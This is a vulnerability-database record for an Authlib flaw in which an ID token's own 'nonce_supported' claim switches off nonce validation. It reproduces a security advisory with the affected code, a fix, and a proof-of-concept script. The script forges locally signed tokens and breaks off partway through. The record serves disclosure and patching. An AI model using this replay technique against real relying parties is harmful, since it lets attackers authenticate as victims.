KEVWire

Security intelligence, with context.

Response snapshot Oct 27, 2026, 16:01 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-114617

Authlib: ID token can disable its own nonce validation via the nonce_supported claim

`OpenIDMixin.parse_id_token()` reads the `nonce_supported` claim from the ID token it is validating. When that claim is boolean `false`, the expected nonce is set to `None` and nonce validation is skipped for that token.

At a glance

Exploited
Not known
Severity
4.2 Medium (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: authlib: 1.9.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-c5mf-xmp2-59rc (opens a new tab)

What happened

### Summary

`OpenIDMixin.parse_id_token()` reads the `nonce_supported` claim from the ID token it is validating. When that claim is boolean `false`, the expected nonce is set to `None` and nonce validation is skipped for that token.

An ID token that carries this claim is therefore accepted in a session whose nonce does not match. A captured, validly signed ID token belonging to a victim can be replayed into an attacker-controlled session, authenticating the attacker as the victim at the relying party.

The code is identical in `authlib/integrations/base_client/sync_openid.py:82-83` and `authlib/integrations/base_client/async_openid.py:84-85`, so all framework integrations are affected. Fixed versions: none; reproduced on 1.8.0 (commit c529a61a).

Continue reading

Preconditions: the ID token must carry a valid signature and pass `iss` and `aud` validation, and the attacker must be able to supply it to `parse_id_token()`. Authorization code flow is not affected. Implicit and hybrid relying parties, and applications calling `parse_id_token()` directly, are affected.

### Details

## Affected code

`authlib/integrations/base_client/sync_openid.py:80-85`, in `parse_id_token()`:

```python claims = claims_cls(token.claims, token.header, claims_options, claims_params) # https://github.com/authlib/authlib/issues/259 if claims.get("nonce_supported") is False: claims.params["nonce"] = None

claims.validate(leeway=leeway) ```

`authlib/integrations/base_client/async_openid.py:82-86` contains the same code.

## Source of the claim

`claims` is constructed from `token.claims`, which is the decoded payload of the ID token passed to `parse_id_token()`:

```python token = jwt.decode( token["id_token"], key=key_set, registry=JWSRegistry(algorithms=alg_values, strict_check_header=False), ) ... claims = claims_cls(token.claims, token.header, claims_options, claims_params) ```

`claims.get("nonce_supported")` therefore resolves against the ID token payload. It is not read from `load_server_metadata()`, from client configuration, or from any other source under the relying party's control.

## Effect on validation

`IDToken.validate_nonce()` at `authlib/oidc/core/claims.py:69-83` performs the comparison only when the expected value is truthy:

```python nonce_value = self.params.get("nonce") if nonce_value: if "nonce" not in self: raise MissingClaimError("nonce") if nonce_value != self["nonce"]: raise InvalidClaimError("nonce") ```

Assigning `claims.params["nonce"] = None` makes `nonce_value` falsy, so both the presence check and the equality check are skipped. No error is raised and `claims.validate()` completes normally.

The docstring of that same method states the requirement:

> If present in the ID Token, Clients MUST verify that the nonce Claim Value is equal to the value of the nonce parameter sent in the Authentication Request.

## Trigger condition

The comparison is `is False`, so only a JSON boolean `false` activates the branch. A string value `"false"` does not, and nonce validation proceeds normally in that case.

## Origin

The branch was added in commit `3ca7333c` ("Skip verifying nonce for Apple case") to accommodate a provider that emits a `nonce_supported` claim, as referenced by the inline comment pointing to issue #259.

## Remediation

Read the flag from server metadata or client configuration rather than from the token:

```python metadata = self.load_server_metadata() if metadata.get("nonce_supported") is False: claims.params["nonce"] = None ```

This preserves the behavior for relying parties configured against a provider that does not support nonces, while preventing the token from determining whether it is subject to nonce validation.

### Proof of concept

## Environment

- authlib 1.8.0, commit `c529a61a` (tag `v1.8.0`) - Python 3.14 - joserfc 1.7.5 - No network access required

``` git clone https://github.com/authlib/authlib.git && cd authlib git checkout c529a61a python3 -m venv .venv .venv/bin/pip install -e . joserfc==1.7.5 .venv/bin/python poc.py ```

## Configuration

The relying party is a subclass of the shipped `OpenIDMixin` supplying only `client_id` and `load_server_metadata()`. `fetch_jwk_set()` returns `metadata["jwks"]` directly when the key set is present in metadata, so no HTTP request is made and no part of the validation path is stubbed.

The signing key is a generated RSA key. All three tokens are signed with it, carry `iss` and `aud` matching the relying party configuration, and are within their validity window. The relying party's session nonce is `nonce-the-rp-actually-generated`; every token carries the different nonce `nonce-from-the-captured-token`.

## poc.py

```python from joserfc import jwt from joserfc.jwk import RSAKey from authlib.integrations.base_client.sync_openid import OpenIDMixin

ISSUER = "https://as.example" CLIENT_ID = "rp-client" KEY = RSAKey.generate_key(2048, parameters={"kid": "k1"}) JWKS = {"keys": [KEY.as_dict(private=False)]}

class RP(OpenIDMixin): client_id = CLIENT_ID

def load_server_metadata(self): return {"issuer": ISSUER, "jwks": JWKS}

def id_token(nonce, sub="victim", nonce_supported=None): claims = {"iss": ISSUER, "sub": sub, "aud": CLIENT_ID, "iat": 1000000000, "exp": 4000000000, "auth_time": 1000000000} if nonce is not None: claims["nonce"] = nonce if nonce_supported is not None: claims["nonce_supported"] = nonce_supported return jwt.encode({"alg": "RS256", "kid": "k1"}, claims, KEY)

rp = RP() SESSION_NONCE = "nonce-the-rp-actually-generated" CAPTURED_NONCE = "nonce-from-the-captured-token"

cases = [ ("[1] no nonce_supported claim", None), ("[2] nonce_supported: false", False), ("[3] nonce_supported: \"false\"", "false"), ]

for label, flag in cases: tok = {"access_token": "AT", "id_token": id_token(CAPTURED_NONCE, nonce_supported=flag)} try: user = rp.parse_id_token(tok, nonce=SESSION_NONCE) print(f"{label:34s} -> ACCEPTED sub={user['sub']}") except Exception as e: print(f"{label:34s} -> REJECTED {type

Affected package ranges reported by GitHub: authlib: <= 1.8.0

Scores and how they were measured

CVSS base severity

4.2

Version 3.1As of

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-c5mf-xmp2-59rc (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-c5mf-xmp2-59rc, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 27). Authlib: ID token can disable its own nonce validation via the nonce_supported claim (CVE-2026-114617). https://kevwire.com/record/CVE-2026-114617

MLA

"Authlib: ID token can disable its own nonce validation via the nonce_supported claim (CVE-2026-114617)." KEVWire, 27 Oct. 2026, kevwire.com/record/CVE-2026-114617.

Chicago

KEVWire. "Authlib: ID token can disable its own nonce validation via the nonce_supported claim (CVE-2026-114617)." Last modified October 27, 2026. https://kevwire.com/record/CVE-2026-114617.

Evidence summary (plain text)

Authlib: ID token can disable its own nonce validation via the nonce_supported claim (Oct 27, 2026).
`OpenIDMixin.parse_id_token()` reads the `nonce_supported` claim from the ID token it is validating. When that claim is boolean `false`, the expected nonce is set to `None` and nonce validation is skipped for that token.

An ID token that carries this claim is therefore accepted in a session whose nonce does not match. A captured, validly signed ID token belonging to a victim can be replayed into an attacker-controlled session, authenticating the attacker as the victim at the relying party.
CVSS 4.2 (version 3.1; evidence as of Oct 27, 2026; https://github.com/advisories/GHSA-c5mf-xmp2-59rc).
Sources:
GitHub-reviewed advisory GHSA-c5mf-xmp2-59rc: https://github.com/advisories/GHSA-c5mf-xmp2-59rc
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-114617.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 16:00 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are not available yet. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail